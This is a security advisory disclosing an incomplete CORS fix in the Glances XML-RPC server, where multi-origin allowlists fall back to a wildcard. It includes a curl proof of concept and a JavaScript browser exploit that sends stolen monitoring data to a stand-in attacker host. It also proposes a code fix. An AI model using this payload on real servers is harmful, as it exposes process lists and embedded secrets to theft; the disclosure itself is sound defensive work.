GHSA-87qc-fj39-wccr

Summary

The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.

Details

Affected file: glances/server.py, class GlancesXMLRPCServer, line 113

Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113

# server.py  (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins   # list from config / CLI

# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
#                                                                  ^^^
# Any allowlist with 2+ entries collapses to the wildcard

The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):

self.send_header('Access-Control-Allow-Origin', self.cors_origin)

This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:

# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.

Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.

Confirmed on: x8664 Linux, Python 3.13, Glances 4.5.5dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

| Origin sent | ACAO header returned | Expected | |--------------------------|----------------------|--------------| | http://evil.example.com| * | No header | | https://dashboard.corp | * | Reflected | | https://grafana.corp | * | Reflected |

PoC

Special configuration required

The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:

# /tmp/glances_multiorigin.conf
[global]
check_update = false

[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

Step 1 — Start the XML-RPC server using the config above

glances -s -p 61209 -C /tmp/glances_multiorigin.conf

Step 2 — Send a CORS simple request from a foreign origin

curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
     -H "Content-Type: text/plain" \
     -H "Origin: http://evil.example.com" \
     -d '<?xml version="1.0"?>
         <methodCall><methodName>getAllPlugins</methodName></methodCall>'

Expected (secure) response:

HTTP/1.0 400 Bad Request

or no Access-Control-Allow-Origin header.

Actual response:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
  <params><param><value><array><data>
    <value><string>cpu</string></value>
    <value><string>mem</string></value>
    ...
  </data></array></value></param></params>
</methodResponse>

Step 3 — Demonstrate the code-level collapse to wildcard

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.config import Config

c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'

print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard?        :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard?        : True

Browser-based exploitation

Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:

// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
  <methodCall><methodName>getAll</methodName></methodCall>`;

fetch('http://GLANCES_HOST:61209/RPC2', {
  method: 'POST',
  headers: { 'Content-Type': 'text/plain' },
  body: payload,
})
.then(r => r.text())
.then(data => {
  // 'data' contains hostname, OS, full process list, network interfaces, etc.
  fetch('https://attacker.example.com/collect?d=' + btoa(data));
});

This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.

Impact

Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)

Who is impacted: Any operator who: 1. Runs Glances in XML-RPC server mode (glances -s), and 2. Has configured two or more cors_origins entries in glances.conf believing they are restricting browser access.

Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.

Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.

Impact: - Confidentiality: High — complete system monitoring data readable by any browser page. - Integrity: None — read-only API. - Availability: None — no denial-of-service component.

Suggested Fix

Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):

# server.py  — replace the single static self.cors_origin field with:

def _get_acao_header(self, request_origin: str) -> str | None:
    """Return the correct Access-Control-Allow-Origin value or None."""
    if not self.cors_origins or '*' in self.cors_origins:
        return '*'
    if request_origin in self.cors_origins:
        return request_origin
    return None   # do not send the header for unlisted origins

# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao   = self._get_acao_header(origin)
if acao:
    self.send_header('Access-Control-Allow-Origin', acao)
    self.send_header('Vary', 'Origin')

Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.